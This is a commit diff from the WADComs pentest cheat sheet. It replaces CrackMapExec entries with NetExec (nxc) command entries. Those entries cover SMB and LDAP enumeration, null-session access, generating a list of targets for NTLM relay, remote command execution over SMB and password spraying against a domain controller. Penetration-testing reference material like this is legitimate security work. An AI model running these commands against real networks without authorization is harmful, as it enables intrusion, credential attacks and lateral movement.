Merge pull request #29 from Eagleo0/master

Replaced crackmapexec with netexec
WADComs · Apr 8, 2024 · e692640 · e692640
2 parents fe88c9b + 6128703
commit e692640
Show file tree

Hide file tree

Showing 14 changed files with 173 additions and 173 deletions.
diff --git a/_wadcoms/Crackmapexec-Enum-LDAP.md b/_wadcoms/Crackmapexec-Enum-LDAP.md
diff --git a/_wadcoms/Crackmapexec-Enum-SMB-Anonymous.md b/_wadcoms/Crackmapexec-Enum-SMB-Anonymous.md
diff --git a/_wadcoms/Crackmapexec-Enum-SMB-Null.md b/_wadcoms/Crackmapexec-Enum-SMB-Null.md
diff --git a/_wadcoms/Crackmapexec-Enum-SMB-Relay-List.md b/_wadcoms/Crackmapexec-Enum-SMB-Relay-List.md
diff --git a/_wadcoms/Crackmapexec-Enum-SMB.md b/_wadcoms/Crackmapexec-Enum-SMB.md
diff --git a/_wadcoms/Crackmapexec-Exec-SMB.md b/_wadcoms/Crackmapexec-Exec-SMB.md
diff --git a/_wadcoms/Crackmapexec-SMB-Password-Spray.md b/_wadcoms/Crackmapexec-SMB-Password-Spray.md
diff --git a/_wadcoms/NetExec-Enum-LDAP.md b/_wadcoms/NetExec-Enum-LDAP.md
@@ -0,0 +1,27 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will enumerate domain groups, local groups, users, user descriptions, users trusted for delegation, users without a password, You can also use CIDR notation to target a range of ip addresses (i.e. 10.10.10.0/24).
+
+  Command Reference:
+
+  	Target IP: 10.10.10.1
+
+  	Username: john
+
+  	Password: password123
+
+command: |
+  nxc ldap 10.10.10.1 -u 'john' -p 'password123' --trusted-for-delegation  --password-not-required --admin-count --users --groups
+items:
+  - Username
+  - Password
+services:
+  - LDAP
+attack_types:
+  - Enumeration
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-Enum-SMB-Anonymous.md b/_wadcoms/NetExec-Enum-SMB-Anonymous.md
@@ -0,0 +1,22 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will enumerate the SMB host using anonymous access. 
+
+  Command Reference:
+
+  	Target IP: 10.10.10.1
+
+command: |
+  nxc smb 10.10.10.1 -u 'a' -p ''
+items:
+  - No_Creds
+services:
+  - SMB
+attack_types:
+  - Enumeration
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-Enum-SMB-Null.md b/_wadcoms/NetExec-Enum-SMB-Null.md
@@ -0,0 +1,22 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will enumerate the SMB host using a null session. 
+
+  Command Reference:
+
+  	Target IP: 10.10.10.1
+
+command: |
+  nxc smb 10.10.10.1 -u '' -p ''
+items:
+  - No_Creds
+services:
+  - SMB
+attack_types:
+  - Enumeration
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-Enum-SMB-Relay-List.md b/_wadcoms/NetExec-Enum-SMB-Relay-List.md
@@ -0,0 +1,22 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. The following command will enumerate a list of SMB hosts with signing not enforced, allowing you to relay credentials to them using ntlmrelayx.py.
+
+  Command Reference:
+
+  	SMB Hosts: smb_hosts.txt
+
+command: |
+  nxc smb smb_host.txt --gen-relay-list output.txt
+items:
+  - No_Creds
+services:
+  - SMB
+attack_types:
+  - Enumeration
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-Enum-SMB.md b/_wadcoms/NetExec-Enum-SMB.md
@@ -0,0 +1,27 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will enumerate domain groups, local groups, logged on users, relative identifiers (RIDs), sessions, domain users, SMB shares/permissions, and get the domain password policy. You can also use CIDR notation to target a range of ip addresses (i.e. 10.10.10.0/24).
+
+  Command Reference:
+
+  	Target IP: 10.10.10.1
+
+  	Username: john
+
+  	Password: password123
+
+command: |
+  nxc smb 10.10.10.1 -u 'john' -p 'password123' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
+items:
+  - Username
+  - Password
+services:
+  - SMB
+attack_types:
+  - Enumeration
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-Exec-SMB.md b/_wadcoms/NetExec-Exec-SMB.md
@@ -0,0 +1,27 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will execute a powershell command on the target machine if the user has Administrator privileges. using "-x" will execute from cmd.
+
+  Command Reference:
+
+  	Target IP: 10.10.10.1
+
+  	Username: john
+
+  	Password: password123
+
+command: |
+  nxc smb 10.10.10.1 -u 'john' -p 'password123' -X '$Host'
+items:
+  - Username
+  - Password
+services:
+  - SMB
+attack_types:
+  - Exploitation
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---
diff --git a/_wadcoms/NetExec-SMB-Password-Spray.md b/_wadcoms/NetExec-SMB-Password-Spray.md
@@ -0,0 +1,26 @@
+---
+description: |
+  "NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks." - https://www.netexec.wiki/. This command will perform password spraying over SMB against the domain controller.
+
+  Command Reference:
+
+  	Domain Controller IP: 10.10.10.1
+
+  	Username List: users.txt
+
+  	Password: password123
+
+command: |
+  nxc smb 10.10.10.1 -u users.txt -p password123
+items:
+  - Username
+services:
+  - SMB
+attack_types:
+  - Exploitation
+OS:
+  - Linux
+references:
+  - https://github.com/Pennyw0rth/NetExec
+  - https://www.netexec.wiki/
+---